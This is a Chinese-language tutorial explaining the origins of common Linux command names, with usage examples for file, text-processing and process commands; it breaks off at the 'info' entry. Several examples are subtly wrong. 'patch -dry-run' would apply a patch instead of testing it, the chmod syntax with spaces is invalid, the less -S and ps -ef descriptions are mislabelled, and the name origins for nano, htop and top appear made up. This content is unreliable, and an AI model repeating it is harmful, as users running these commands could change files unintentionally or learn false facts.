Linux命令命名由来详解

了解Unix/Linux命令的名称来源,帮助记忆和理解


1. 文件操作命令

ls - 列出目录内容

这条命令的意思是:"列出当前目录下有哪些文件或文件夹。"

详细拆解:

部分 含义 作用
ls list 列出目录内容

常用命令示例:

# 基本用法:列出当前目录文件
ls

# 列出所有文件(包括隐藏文件,隐藏文件以 . 开头)
ls -a

# 详细列表模式:显示权限、大小、修改时间
ls -l

# 显示文件大小(人类可读格式,如 KB、MB)
ls -lh

# 按文件大小排序(最大的在前面)
ls -lS

# 按修改时间排序(最新的在前面)
ls -lt

# 显示目录信息而不是目录内容
ls -ld /etc

# 递归列出所有子目录
ls -R

适用场景: 查看文件夹里有什么文件,是最常用的命令之一。


cd - 切换目录

这条命令的意思是:"从当前位置跳转到另一个目录。"

详细拆解:

部分 含义 作用
cd change directory 切换当前工作目录

常用命令示例:

# 进入根目录
cd /

# 进入用户主目录(家目录)
cd ~
# 或直接
cd

# 进入上一级目录
cd ..

# 进入上两级目录
cd ../..

# 返回刚才所在的目录
cd -

# 进入指定目录
cd /etc/sysconfig

# 使用环境变量快速进入常用目录
cd $ORACLE_HOME

适用场景: 进入某个目录继续操作,比如 cd /etc 进入配置目录。


cp - 复制文件

这条命令的意思是:"把一个文件复制一份,产生一个新文件。"

详细拆解:

部分 含义 作用
cp copy 复制文件或目录

常用命令示例:

# 复制文件
cp source.txt dest.txt

# 复制到指定目录
cp source.txt /backup/

# 复制目录(-r 递归复制整个目录)
cp -r /source_dir /backup/

# 复制时保留文件属性(时间戳、权限等)
cp -p config.conf config.conf.bak

# 复制时显示详细信息
cp -v source.txt /backup/

# 强制覆盖已存在的文件(不提示)
cp -f old.txt new.txt

# 如果目标文件已存在则不覆盖(安全模式)
cp -n source.txt dest.txt

# 复制多个文件到目录
cp file1.txt file2.txt /backup/

# 创建硬链接而不是复制(不占用额外空间)
cp -l source.txt hardlink.txt

# 创建软链接而不是复制
cp -s source.txt symlink.txt

适用场景: 备份文件、制作副本。比如 cp config.conf config.conf.bak


mv - 移动/重命名

这条命令的意思是:"把文件从一处搬到另一处,或者给文件改个名字。"

详细拆解:

部分 含义 作用
mv move 移动或重命名文件

常用命令示例:

# 重命名文件
mv oldname.txt newname.txt

# 移动文件到指定目录
mv file.txt /home/user/documents/

# 移动多个文件到目录
mv file1.txt file2.txt /backup/

# 移动并重命名(相当于改了个位置)
mv /old/path/oldname.txt /new/path/newname.txt

# 移动目录
mv /old_dir /new_dir

# 移动时显示详细信息
mv -v source.txt /destination/

# 强制移动(覆盖已存在的文件不提示)
mv -f source.txt /destination/

# 移动前先备份
mv -b source.txt /destination/

适用场景: 整理文件时移动位置,或者修改文件名。


rm - 删除文件

这条命令的意思是:"永久删除一个文件(谨慎使用,无法回收)。"

详细拆解:

部分 含义 作用
rm remove 删除文件或目录

常用命令示例:

# 删除单个文件(会提示确认)
rm file.txt

# 强制删除文件(不提示)
rm -f file.txt

# 删除目录及目录下所有内容(递归删除)
rm -r /backup_dir

# 删除空目录
rmdir /empty_dir

# 删除文件并显示详细信息
rm -v file.txt

# 删除前先确认(交互模式)
rm -i file.txt

# 删除所有 .log 文件
rm *.log

# 删除以 - 开头的文件(避免被当成选项)
rm -- -file.txt

# 安全删除(多次覆写,防止恢复)
 shred -u file.txt

适用场景: 清理不需要的文件。注意:删除后很难恢复。


mkdir - 创建目录

这条命令的意思是:"在当前位置新建一个文件夹。"

详细拆解:

部分 含义 作用
mkdir make directory 创建新目录

常用命令示例:

# 在当前目录创建目录
mkdir myproject

# 创建多级目录(如果父目录不存在则自动创建)
mkdir -p /home/user/project/src

# 创建目录并设置权限
mkdir -m 755 secure_dir

# 创建目录并显示详细信息
mkdir -v newproject

# 批量创建多个目录
mkdir -p project/{src,dist,test}

适用场景: 新建项目文件夹、整理文件结构时使用。


rmdir - 删除空目录

这条命令的意思是:"删除一个空目录(目录里有文件则无法删除)。"

详细拆解:

部分 含义 作用
rmdir remove directory 删除空目录

常用命令示例:

# 删除空目录
rmdir empty_dir

# 删除多个空目录
rmdir dir1 dir2 dir3

# 删除目录及父目录(如果删除后父目录也空了)
rmdir -p /home/user/project/backup

# 显示删除详情
rmdir -v myproject

适用场景: 删除确认是空的文件夹(不如 rm -r 常用)。


cat - 查看文件内容

这条命令的意思是:"把整个文件的内容显示在屏幕上。"

详细拆解:

部分 含义 作用
cat concatenate 连接并显示文件内容

常用命令示例:

# 查看文件全部内容
cat file.txt

# 查看文件并显示行号
cat -n file.txt

# 合并多个文件输出
cat file1.txt file2.txt > combined.txt

# 追加内容到文件
cat >> file.txt << EOF
这是新追加的内容
EOF

# 创建文件并写入内容
cat > newfile.txt << EOF
第一行内容
第二行内容
EOF

# 查看隐藏字符(^M 等)
cat -A file.txt

# 显示 $ 符号表示行尾(查看行结束符)
cat -e file.txt

# 显示 Tab 字符
cat -T file.txt

适用场景: 查看小型文本文件内容,或将多个文件合并输出。


touch - 创建空文件/更新时间戳

这条命令的意思是:"创建一个空白文件,或者更新已有文件的"最后修改时间"。"

详细拆解:

部分 含义 作用
touch 触摸/更新 创建空文件或更新文件时间戳

常用命令示例:

# 创建空文件
touch newfile.txt

# 批量创建多个空文件
touch file1.txt file2.txt file3.txt

# 更新文件访问和修改时间(如果文件不存在则创建)
touch existingfile.txt

# 只更新修改时间,不改变访问时间
touch -m oldfile.txt

# 设置为指定时间戳(格式:YYYYMMDDHHMM)
touch -t 202512251200 oldfile.txt

# 使用文件的时间戳作为参照
touch -r reference.txt target.txt

# 创建带日期的备份文件
touch backup_$(date +%Y%m%d).txt

适用场景: 快速创建占位文件,或更新文件时间戳避免被清理脚本删除。


ln - 创建链接

这条命令的意思是:"给某个文件创建一个快捷方式(链接),访问链接就像访问原文件一样。"

详细拆解:

部分 含义 作用
ln link 创建硬链接
ln -s symbolic link 创建软链接(快捷方式)

常用命令示例:

# 创建软链接(快捷方式)
ln -s /path/to/original link_name

# 创建软链接到目录
ln -s /usr/local/mysql mysql

# 创建硬链接(两个文件内容完全相同,删除原文件不影响)
ln /path/to/original hardlink

# 创建软链接并显示详细信息
ln -sv /source/file mylink

# 覆盖已存在的链接(先删除再创建)
ln -sf /new/path original_link

# 查看链接指向的目标
readlink link_name

# 查看所有软链接
find /path -type l -ls

硬链接 vs 软链接区别:

特性 硬链接 软链接
跨文件系统 不能 可以
目录 不能链接目录 可以链接目录
原文件删除 仍然可用 失效(断链)
占用空间 不占额外空间 只占链接本身大小
性能 稍快 稍慢

适用场景: 软链接用于创建快捷方式,硬链接用于备份(不占用额外空间)。


chmod - 修改文件权限

这条命令的意思是:"改变文件的访问权限,决定谁可以读、写、执行这个文件。"

详细拆解:

部分 含义 作用
chmod change mode 修改文件权限
r/w/x read/write/execute 读/写/执行权限

权限表示法:

数字 权限 说明
4 r
2 w
1 x 执行
0 - 无权限

常用命令示例:

# 数字方式设置权限(755 = rwxr-xr-x)
chmod 755 script.sh

# 字母方式添加权限
chmod +x script.sh          # 添加执行权限
chmod -x script.sh          # 移除执行权限
chmod u+x script.sh         # 仅所有者添加执行权限
chmod g+x script.sh         # 仅用户组添加执行权限
chmod o+x script.sh          # 仅其他人添加执行权限

# 字母方式设置权限
chmod u=rwx, g=rx, o=r file.txt   # 等同于 754

# 递归修改目录权限
chmod -R 755 /home/user

# 移除所有权限
chmod 000 file.txt

# 查看权限
ls -l file.txt

# 常用权限组合
chmod 644 file.txt    # rw-r--r--(文件)
chmod 755 script.sh   # rwxr-xr-x(脚本)
chmod 600 private.txt # rw-------(私密文件)
chmod 777 public.txt  # rwxrwxrwx(不推荐)

适用场景: 调整脚本可执行权限(如 chmod +x script.sh),或修改文件访问控制。


chown - 修改文件所有者

这条命令的意思是:"把文件的主人从一个人改成另一个人。"

详细拆解:

部分 含义 作用
chown change owner 修改文件所有者
chgrp change group 修改文件所属组

常用命令示例:

# 修改文件所有者
chown user file.txt

# 修改文件所有者和用户组
chown user:group file.txt

# 修改目录所有者(递归)
chown -R user:group /home/user

# 只修改用户组
chgrp group file.txt
chown :group file.txt

# 修改目录内容的所有者(不改变目录本身)
chown -hR user:group /var/www

# 修改符号链接的属主(不跟随链接)
chown -h user link.txt

# 查看文件所有者
ls -l file.txt
stat file.txt

适用场景: 网站文件需要由 www-data 用户运行,却用 root 创建时,用此命令更改归属。


2. 文本处理命令

grep - 文本搜索过滤

这条命令的意思是:"从大量文本中,把包含指定关键字的行挑出来显示。"

详细拆解:

部分 含义 作用
grep g/re/p 源自ed编辑器的"全局正则表达式打印"命令

常用命令示例:

# 基本搜索(显示包含 keyword 的行)
grep "error" log.txt

# 忽略大小写
grep -i "error" log.txt

# 显示行号
grep -n "error" log.txt

# 显示不包含 keyword 的行(反向匹配)
grep -v "error" log.txt

# 显示包含 keyword 的行并显示后面3行(context)
grep -A 3 "error" log.txt

# 显示包含 keyword 的行并显示前面3行
grep -B 3 "error" log.txt

# 显示包含 keyword 的行并显示前后各2行
grep -C 2 "error" log.txt

# 使用正则表达式
grep "^error" log.txt        # 以 error 开头
grep "error$" log.txt        # 以 error 结尾
grep "er.*or" log.txt        # 包含 er...or

# 递归搜索目录
grep -r "keyword" /var/log/

# 只显示文件名,不显示行(快速定位文件)
grep -l "error" *.log

# 统计匹配行数
grep -c "error" log.txt

# 显示匹配次数
grep -o "error" log.txt | wc -l

# 搜索多个关键字(OR 关系)
grep -E "error|warning" log.txt

# 搜索多个关键字(AND 关系,同时满足)
grep "error" log.txt | grep "timeout"

# 排除某个目录搜索
grep -r "keyword" /path --exclude-dir="node_modules"

适用场景: 在日志文件中搜索错误信息、在配置文件中查找某个选项。


sed - 流式文本编辑器

这条命令的意思是:"以流水线方式逐行处理文本,把匹配到的内容自动替换成别的。"

详细拆解:

部分 含义 作用
sed Stream Editor 流式文本编辑器

常用命令示例:

# 替换所有匹配的字符串(-i 直接修改文件)
sed 's/old/new/g' file.txt

# 替换第 N 行
sed '5s/old/new/' file.txt

# 替换指定行(如第3行)
sed -i '3s/old/new/' file.txt

# 删除包含 keyword 的行
sed '/keyword/d' file.txt

# 删除第1行
sed '1d' file.txt

# 删除空行
sed '/^$/d' file.txt

# 在第3行后插入新行
sed -i '3a\新插入的内容' file.txt

# 在包含 keyword 的行前插入
sed '/keyword/i\插入的内容' file.txt

# 显示第5-10行
sed -n '5,10p' file.txt

# 替换多个字符串
sed -e 's/old1/new1/g' -e 's/old2/new2/g' file.txt

# 使用正则表达式替换
sed 's/[0-9]+/NUM/g' file.txt

# 直接写入新文件
sed 's/old/new/g' file.txt > newfile.txt

# 备份原文件再修改
sed -i.bak 's/old/new/g' file.txt

适用场景: 批量替换文件中的某个字符串,如 sed 's/old/new/g' file.txt


awk - 文本报告生成器

这条命令的意思是:"强大的文本分析工具,能按格式提取、统计、生成报告。"

详细拆解:

部分 含义 作用
awk Aho, Weinberger, Kernighan 三位创始人姓氏首字母组合

常用命令示例:

# 打印第一列和第三列
awk '{print $1, $3}' file.txt

# 按分隔符分割(默认空格)
awk -F: '{print $1}' /etc/passwd

# 使用其他分隔符
awk -F, '{print $2}' csvfile.csv

# 打印行号和第一列
awk '{print NR, $1}' file.txt

# 条件筛选(打印第一列大于 100 的行)
awk '$1 > 100 {print $0}' file.txt

# 统计总和(计算第一列的总和)
awk '{sum+=$1} END {print sum}' file.txt

# 统计平均值
awk '{sum+=$1} END {print sum/NR}' file.txt

# 统计行数
awk 'END {print NR}' file.txt

# 格式化输出
awk '{printf "%-10s %5d\n", $1, $2}' file.txt

# 显示包含 keyword 的行
awk '/keyword/ {print $0}' file.txt

# 多重条件
awk 'NR>1 && $3>100 {print $1, $3}' file.txt

# 自定义变量
awk -v var=100 '{print $1 * var}' file.txt

# BEGIN 和 END 块
awk 'BEGIN {print "开始处理"} {sum+=$1} END {print "总和:", sum}' file.txt

# 替换功能
awk '{gsub(/old/, "new"); print}' file.txt

适用场景: 提取特定列、计算总和、格式化输出,比如统计日志中每个IP的访问次数。


vi/vim - 文本编辑器

这条命令的意思是:"在终端里打开一个全屏文本编辑器,用来编写代码或配置文件。"

详细拆解:

部分 含义 作用
vi visual 视觉模式编辑器,源自ex编辑器
vim Vi IMproved vi的增强版

常用命令示例:

# 打开文件
vim file.txt

# 命令行模式(按 Esc 进入):
# 移动光标
h 左  l 右  j 下  k 上
w 跳到下一个单词开头
b 跳到上一个单词开头
0 跳到行首  $ 跳到行尾
gg 跳到文件开头  G 跳到文件结尾
:N 跳到第 N 行

# 编辑模式(按 i 进入):
i 在光标前插入
a 在光标后插入
o 在当前行后插入新行
O 在当前行前插入新行

# 删除
x 删除光标处字符
dd 删除整行
D 删除光标后整行

# 复制粘贴
yy 复制整行
p 粘贴到光标后
P 粘贴到光标前

# 撤销重做
u 撤销
Ctrl+r 重做

# 搜索
/keyword 搜索
n 下一个匹配
N 上一个匹配

# 替换
:s/old/new/     替换当前行第一个
:s/old/new/g    替换当前行所有
:%s/old/new/g   替换文件中所有

# 保存退出
:w 保存
:wq 保存并退出
:x 保存并退出
:q! 不保存强制退出
ZZ 保存并退出(等价于 :wq)

# 其他
:set number    显示行号
:set nonumber  隐藏行号
:sp file.txt   水平分屏
:vsp file.txt  垂直分屏

适用场景: 编辑服务器配置文件、写代码。vim 比 vi 功能更强,是首选。


nano - 简单文本编辑器

这条命令的意思是:"一个比 vim 更简单的终端编辑器,适合新手使用。"

详细拆解:

部分 含义 作用
nano 昵称 创始人用一个朋友的名字命名
全称 Nano's Not ANOther 递归缩写,模仿 GNU 的风格

常用命令示例:

# 打开文件编辑
nano file.txt

# 打开文件并跳转到指定行
nano +10 file.txt

# 打开文件并开启行号显示
nano -l file.txt

# 打开文件禁用自动换行
nano -w file.txt

# 多行编辑(先 Ctrl+Shift+6 选择区块)
# 常用快捷键:
# Ctrl+O 保存
# Ctrl+X 退出
# Ctrl+W 搜索
# Ctrl+K 剪切整行
# Ctrl+U 粘贴
# Ctrl+\\ 替换
# Ctrl+T 调用拼写检查

适用场景: 快速编辑小型文本文件,界面简洁直观。


less - 分页查看文件

这条命令的意思是:"像翻书一样逐页查看文件内容,可以上下滚动。"

详细拆解:

部分 含义 作用
less less is more 名字来自谚语"少即是多",是more命令的升级版

常用命令示例:

# 基本用法
less file.txt

# 显示行号
less -N file.txt

# 搜索时高亮显示
less -S file.txt

# 实时监控日志(-F 类似于 tail -f)
less +F log.txt

# 搜索(按 / 后输入关键字)
/keyword      向下搜索
?keyword      向上搜索
n            下一个匹配
N            上一个匹配

# 翻页
Page Up / Page Down    上/下翻页
空格键 / b            向下/向上翻页
g            跳到文件开头
G            跳到文件结尾
q            退出

# 多个文件切换
less file1.txt file2.txt
:n 下一个文件
:p 上一个文件

适用场景: 查看大型日志文件,使用上下箭头或 Page Up/Down 翻页,按 q 退出。


more - 分页查看文件(只支持下翻)

这条命令的意思是:"逐页显示文件内容,按空格键继续看下一页。"

详细拆解:

部分 含义 作用
more more 提示"更多内容"

常用命令示例:

# 基本用法
more file.txt

# 显示前 10 行(默认)
more -10 file.txt

# 从第 5 行开始显示
more +5 file.txt

# 翻页
空格键     下一页
回车键     下一行
b         上一页(如果支持)
q         退出

# 配合管道使用
ls -la | more

适用场景: 简单查看文件,less 出现后用得少了(less 支持上翻)。


head - 查看文件开头

这条命令的意思是:"只看文件的开头几行。"

详细拆解:

部分 含义 作用
head 文件的开头部分

常用命令示例:

# 显示前 10 行(默认)
head file.txt

# 显示前 20 行
head -n 20 file.txt
head -20 file.txt

# 显示前 100 字节
head -c 100 file.txt

# 显示前 N 行
head -n 5 file.txt

# 显示多个文件
head file1.txt file2.txt

# 配合管道使用
cat file.txt | head -20

# 排除前 N 行,显示其余
tail -n +11 file.txt

适用场景: 查看日志最新几条、确认文件格式是否正确。


tail - 查看文件结尾

这条命令的意思是:"持续监控文件的最后几行(新追加的内容会实时显示)。"

详细拆解:

部分 含义 作用
tail 文件的结尾部分
tail -f follow 实时跟踪文件更新

常用命令示例:

# 显示最后 10 行(默认)
tail file.txt

# 显示最后 20 行
tail -n 20 file.txt
tail -20 file.txt

# 实时监控文件更新(Ctrl+C 退出)
tail -f /var/log/syslog
tail -f /var/log/nginx/access.log

# 监控多个文件
tail -f /var/log/syslog /var/log/nginx/error.log

# 显示最后 N 行并继续跟踪
tail -n 50 -f log.txt

# 显示从第 10 行开始到最后的内容
tail -n +10 file.txt

# 显示最后 100 字节
tail -c 100 file.txt

# 配合管道使用
grep "error" log.txt | tail -5

适用场景: 监控日志文件实时输出,如 tail -f /var/log/syslog


wc - 统计文件行数/字数/字符数

这条命令的意思是:"统计文件有多少行、多少单词、多少字符。"

详细拆解:

部分 含义 作用
wc word count 单词统计

常用命令示例:

# 统计行数
wc -l file.txt

# 统计单词数
wc -w file.txt

# 统计字符数
wc -c file.txt

# 显示文件完整统计(行数 单词数 字符数 文件名)
wc file.txt

# 统计多个文件
wc -l file1.txt file2.txt

# 配合管道统计
grep "error" log.txt | wc -l      # 统计错误行数
cat file.txt | wc -l               # 管道方式统计
find . -name "*.py" | wc -l       # 统计 Python 文件数量

适用场景: 统计代码行数、日志行数,配合管道使用如 grep error log.txt | wc -l


cut - 剪切文本列

这条命令的意思是:"从每行文本中切出指定的列。"

详细拆解:

部分 含义 作用
cut 剪切 从文本中提取特定字段

常用命令示例:

# 提取第一列(默认以 Tab 分隔)
cut -f1 file.txt

# 以冒号为分隔符,提取第一列
cut -d: -f1 /etc/passwd

# 提取多列
cut -d: -f1,3 /etc/passwd          # 第一和第三列
cut -d: -f1-5 /etc/passwd          # 第一到第五列

# 提取指定字节
cut -b 1-10 file.txt               # 第 1-10 字节
cut -b 1,3,5 file.txt              # 第 1,3,5 字节

# 提取指定字符
cut -c 1-10 file.txt               # 第 1-10 个字符

# 配合管道使用
cat /etc/passwd | cut -d: -f1

# 显示除了某列之外的所有列
cut -d: -f2 --complement /etc/passwd

适用场景: 提取 CSV 文件的某一列,如 cut -d: -f1 /etc/passwd 提取用户名。


sort - 文本排序

这条命令的意思是:"把文件内容按字母顺序或数字大小排列。"

详细拆解:

部分 含义 作用
sort 排序 对文本行进行排序

常用命令示例:

# 基本排序(按字母顺序)
sort file.txt

# 按数字排序
sort -n numbers.txt

# 降序排序
sort -r file.txt
sort -rn numbers.txt

# 按指定列排序(以冒号分隔,第三列)
sort -t: -k3 file.txt

# 按数字大小排序第2列
sort -k2n file.txt

# 去除重复行
sort -u file.txt

# 随机排序
shuf file.txt

# 查看排序后显示唯一值(类似 uniq)
sort file.txt | uniq

# 检查文件是否已排序
sort -c file.txt

# 忽略开头空白字符
sort -b file.txt

# 合并已排序的文件
sort -m file1.txt file2.txt

# 配合管道
cat file.txt | sort | uniq

适用场景: 整理数据、配合 uniq 统计唯一值。


uniq - 去重/显示相邻重复行

这条命令的意思是:"删除相邻的重复行,或者只显示重复出现的行。"

详细拆解:

部分 含义 作用
uniq unique 唯一的、独特的

常用命令示例:

# 基本去重(删除相邻重复行)
uniq file.txt

# 统计每行出现次数
uniq -c file.txt

# 只显示重复的行
uniq -d file.txt

# 只显示出现一次的行
uniq -u file.txt

# 忽略开头 N 个字符的比较
uniq -s 3 file.txt

# 忽略开头 N 个字段的比较
uniq -f 2 file.txt

# 配合排序使用(推荐,先排序再去重)
sort file.txt | uniq

# 统计唯一值数量
sort file.txt | uniq | wc -l

# 显示重复行及其出现次数
sort file.txt | uniq -c | sort -rn

适用场景: 统计日志中每个IP出现了多少次:grep error log | cut -d' ' -f1 | sort | uniq -c


diff - 比较文件差异

这条命令的意思是:"逐行对比两个文件,找出哪里不一样。"

详细拆解:

部分 含义 作用
diff difference 差异

常用命令示例:

# 比较两个文件
diff file1.txt file2.txt

# 并排格式显示
diff -y file1.txt file2.txt

# 显示差异统计
diff --stat file1.txt file2.txt

# 忽略空白差异
diff -w file1.txt file2.txt

# 忽略大小写
diff -i file1.txt file2.txt

# 统一格式输出(适合打补丁)
diff -u file1.txt file2.txt

# 生成补丁文件
diff -u old.txt new.txt > patch.diff

# 递归比较目录
diff -r dir1 dir2

# 只显示文件名(不显示具体差异)
diff -q dir1 dir2

# 忽略某些文件
diff -r dir1 dir2 --exclude="*.log"

适用场景: 对比配置文件修改前后的区别,或代码版本间的差异。


patch - 应用补丁

这条命令的意思是:"根据补丁文件,把旧文件更新成新版本。"

详细拆解:

部分 含义 作用
patch 补丁 像缝补衣服一样给程序打补丁

常用命令示例:

# 从补丁文件更新(标准用法)
patch -p1 < patch.diff

# 备份原文件再更新
patch -backup -p1 < patch.diff

# 只检查是否会成功(不实际修改)
patch -dry-run -p1 < patch.diff

# 回滚补丁(撤销修改)
patch -R < patch.diff

# 指定要打补丁的文件
patch file.txt < file.patch

# 忽略空白差异
patch -l < patch.diff

# 设置补丁层级(用于处理路径差异)
patch -p2 < patch.diff

适用场景: 开源项目发布代码更新时,用 patch 文件批量应用修改。


3. 系统信息命令

ps - 查看进程状态

这条命令的意思是:"给系统当前所有运行的程序拍一张快照,显示有哪些进程在运行。"

详细拆解:

部分 含义 作用
ps Process Status 进程状态
ps aux a=all, u=user format, x=without tty 显示所有进程详细信息
ps -ef e=all processes, f=full format 显示所有进程(标准格式),显示完整命令行

补充说明:

写法 风格 说明
ps aux BSD 风格 Unix/Linux 通用,a 显示所有终端进程,u 用户格式,x 显示无终端进程
ps -ef POSIX 风格 更符合 POSIX 标准,e 显示所有进程(every),f 完整格式(full format)

常用命令示例:

# 显示所有进程(最常用)
ps aux

# 显示所有进程(BSD 风格)
ps -ef

# 显示所有进程并格式化输出
ps -eo pid,user,command

# 查找特定进程
ps aux | grep nginx

# 显示进程树
pstree

# 显示进程树(显示 PID)
pstree -p

# 查看某个用户的进程
ps -u username

# 按 CPU 使用率排序
ps aux --sort=-%cpu

# 按内存使用率排序
ps aux --sort=-%mem

# 显示前 10 个最占资源的进程
ps aux --sort=-%cpu | head -11

适用场景: 排查哪个进程占用了太多资源,或查找某个程序的进程ID。


top - 实时监控系统资源

这条命令的意思是:"实时显示系统资源占用情况,按CPU/内存使用量排序,最占资源的在最上面。"

详细拆解:

部分 含义 作用
top Table of Processes 进程列表(顶部是最重要的进程)

常用命令示例:

# 基本用法
top

# 按 CPU 使用率排序(默认)
top -o %CPU

# 按内存使用排序
top -o %MEM

# 显示特定用户进程
top -u username

# 显示所有 CPU 核心
top -1

# 设置更新间隔(秒)
top -d 5

# 显示进程完整命令行
top -c

# 显示线程
top -H

# 只显示前 20 个进程
top -b -n 1 | head -21

# 批处理模式(用于脚本)
top -b -n 1 > top_output.txt

# 交互快捷键:
# q       退出
# P       按 CPU 排序
# M       按内存排序
# N       按 PID 排序
# T       按时间排序
# k       杀死进程
# r       调整优先级
# 空格    立即刷新

适用场景: 实时监控服务器负载、内存使用、找出占用资源最高的进程。


htop - 增强版top

这条命令的意思是:"比 top 更好用的进程监控工具,支持彩色显示、鼠标操作和进程树视图。"

详细拆解:

部分 含义 作用
htop hierarchical top 分层显示进程,更直观

常用命令示例:

# 基本用法
htop

# 显示特定用户进程
htop -u username

# 显示特定进程
htop -p PID1,PID2

# 按树形结构显示
htop -t

# 设置刷新间隔
htop -d 10

# 显示所有 CPU 核心
htop -1

# 交互操作:
# F1    帮助
# F2    设置
# F3    搜索
# F4    过滤
# F5    树形视图
# F6    排序
# F9    杀死进程
# F10   退出
# 空格  选择进程
# u     过滤用户

适用场景: 需要更友好地查看进程、交互式操作时使用(需要额外安装)。


pgrep - 按模式查找进程

这条命令的意思是:"用关键字搜索进程,直接返回进程ID。"

详细拆解:

部分 含义 作用
pgrep pattern grep 按模式匹配进程名

常用命令示例:

# 查找 nginx 进程
pgrep nginx

# 查找并显示进程名
pgrep -l nginx

# 查找指定用户的进程
pgrep -u username nginx

# 显示完整信息
pgrep -a nginx

# 查找多个模式
pgrep -f "nginx|apache"

# 显示进程数
pgrep -c nginx

# 查找最匹配的进程(精确匹配进程名)
pgrep -x nginx

适用场景: 快速查找某个程序的进程ID,如 pgrep nginx


pkill - 按模式终止进程

这条命令的意思是:"用关键字匹配进程名,直接把这些进程全部杀掉。"

详细拆解:

部分 含义 作用
pkill pattern kill 按模式匹配并杀死进程

常用命令示例:

# 杀死所有 nginx 进程(正常终止)
pkill nginx

# 强制杀死
pkill -9 nginx
pkill -SIGKILL nginx

# 杀死匹配命令行的进程
pkill -f "python script.py"

# 杀死特定用户的进程
pkill -u username nginx

# 杀死多个进程
pkill nginx php-fpm

# 发送其他信号
pkill -SIGTERM nginx   # 正常终止
pkill -SIGSTOP nginx   # 暂停(可恢复)
pkill -SIGCONT nginx   # 继续运行

适用场景: 一键杀掉所有同名进程,如 pkill -f python


kill - 终止指定进程

这条命令的意思是:"向某个进程发送信号,要求它停止运行(默认是正常终止)。"

详细拆解:

部分 含义 作用
kill 杀死 向进程发送终止信号
kill -9 强制杀死 强行终止(信号9,不可拦截)

常用命令示例:

# 正常终止进程(信号15,默认)
kill 1234

# 强制杀死进程(信号9,无法拦截)
kill -9 1234

# 发送其他信号
kill -SIGTERM 1234   # 正常终止(默认)
kill -SIGKILL 1234   # 强制杀死
kill -SIGSTOP 1234   # 暂停进程
kill -SIGCONT 1234   # 继续运行
kill -SIGHUP 1234    # 挂起(常用于重载配置)

# 查看可用的信号
kill -l

# 杀死进程树
kill -9 -PID

# 配合其他命令使用
ps aux | grep nginx | awk '{print $2}' | xargs kill

常用信号说明:

信号 编号 说明
SIGTERM 15 正常终止(默认)
SIGKILL 9 强制杀死
SIGHUP 1 挂起/重载配置
SIGSTOP 19 暂停
SIGCONT 18 继续

适用场景: 停止卡死的进程,配合 pspgrep 先找到进程ID。


df - 查看磁盘剩余空间

这条命令的意思是:"查看硬盘还有多少空间可以用。"

详细拆解:

部分 含义 作用
df disk free 磁盘空闲空间

常用命令示例:

# 基本用法
df

# 人类可读格式(KB/MB/GB)
df -h

# 显示所有文件系统
df -a

# 显示inode信息
df -i

# 显示指定类型文件系统
df -t ext4
df -x tmpfs

# 只显示本地文件系统
df -l

# 显示特定目录所在磁盘
df /home

# 显示磁盘使用百分比
df -h --output=source,size,used,avail,pcent,target

# 设置输出列
df -h --output=source,pcent

适用场景: 服务器磁盘快满了?用 df -h 查看各分区使用情况。


du - 查看目录占用空间

这条命令的意思是:"查看当前目录(或指定目录)里所有文件加起来占用了多少空间。"

详细拆解:

部分 含义 作用
du disk usage 磁盘使用量

常用命令示例:

# 基本用法
du

# 显示目录总大小
du -sh /path/to/dir

# 显示子目录大小
du -h --max-depth=1 /path/to/dir

# 显示所有文件大小
du -ah /path/to/dir

# 显示总大小(最后一行)
du -sh /path/to/dir

# 按大小排序显示
du -sh /path/to/dir/* | sort -h

# 显示指定类型文件大小
du -sh --block-size=1M /path

# 只显示大小超过 100M 的目录
du -h --threshold=100M /path

# 排除某些目录
du -sh --exclude="*.log" /path

# 显示磁盘使用统计
du -c /path

# 设置深度
du -h --max-depth=2 /path

适用场景: 找出哪个文件夹最大,如 du -sh * | sort -h


free - 查看内存使用情况

这条命令的意思是:"查看系统内存还剩多少可用。"

详细拆解:

部分 含义 作用
free 空闲 显示内存使用与空闲情况

常用命令示例:

# 基本用法(字节为单位)
free

# 人类可读格式
free -h

# 显示内存和交换分区
free -h -w

# 显示详细统计
free -s 1          # 每秒刷新一次
free -s 1 -c 5     # 每秒刷新,共5次

# 显示总计行
free -t

# 显示特定单位
free -b    # 字节
free -k    # KB(默认)
free -m    # MB
free -g    # GB

# 显示内存、交换分区、缓存
free -hw

适用场景: 内存是否不足,用 free -h 查看更易读。


uptime - 查看系统运行时间

这条命令的意思是:"显示系统已经连续运行了多久,以及当前有多少人在用。"

详细拆解:

部分 含义 作用
uptime 运行时间 系统运行时长

常用命令示例:

# 基本用法
uptime

# 显示更详细信息
uptime -p    # 格式化的运行时间
uptime -s    # 系统启动时间

# 格式化输出
uptime -V

适用场景: 确认服务器是否被人重启过,或做巡检记录。


whoami - 显示当前用户名

这条命令的意思是:"显示你现在是以哪个用户身份登录的。"

详细拆解:

部分 含义 作用
whoami Who am I? 我是谁

常用命令示例:

# 基本用法
whoami

# 配合其他命令使用
sudo -u $(whoami) some_command

适用场景: 切换用户后确认当前身份,或在脚本中获取执行用户。


hostname - 查看/设置主机名

这条命令的意思是:"查看或修改这台电脑在网络中的名字。"

详细拆解:

部分 含义 作用
hostname 主机名 显示或设置主机名称

常用命令示例:

# 查看主机名
hostname

# 临时修改主机名(重启后失效)
sudo hostname new-server-name

# 永久修改主机名(需要重启或修改配置文件)
hostnamectl set-hostname new-server-name

# 查看主机名详细信息
hostnamectl

# 修改主机名并设置持久化
hostnamectl set-hostname server01 --static

适用场景: 确认服务器身份(多台服务器时避免搞混)。


uname - 显示系统信息

这条命令的意思是:"打印这台机器的系统信息,比如是什么操作系统、什么内核版本。"

详细拆解:

部分 含义 作用
uname unix name Unix系统名称信息

常用命令示例:

# 显示全部信息
uname -a

# 显示内核名称
uname -s

# 显示内核版本
uname -r

# 显示硬件名称
uname -m

# 显示网络节点主机名
uname -n

# 显示操作系统名称
uname -o

# 显示处理器类型
uname -p

适用场景: 确认操作系统版本,uname -a 显示全部信息。


man - 查看命令手册

这条命令的意思是:"翻开某条命令的使用说明书。"

详细拆解:

部分 含义 作用
man manual 使用手册

常用命令示例:

# 查看命令手册
man ls

# 查看配置文件的手册
man crontab

# 搜索包含关键字的手册
man -k keyword

# 查看某章节的手册
man 5 passwd    # 第5章节(配置文件)

# 显示手册章节列表
man -w

# 查看命令在哪个章节
whatis ls

man 手册章节说明:

章节 内容
1 可执行命令
2 系统调用
3 库函数
4 设备文件
5 配置文件格式
6 游戏
7 杂项
8 系统管理命令

适用场景: 学习新命令的详细用法,如 man ls


info - 查看详细信息

这条命令的意思是:"比 man 更详细的命令文档。"

详细拆解:

部分 含义 作用
info information 详细信息

常用命令示例:

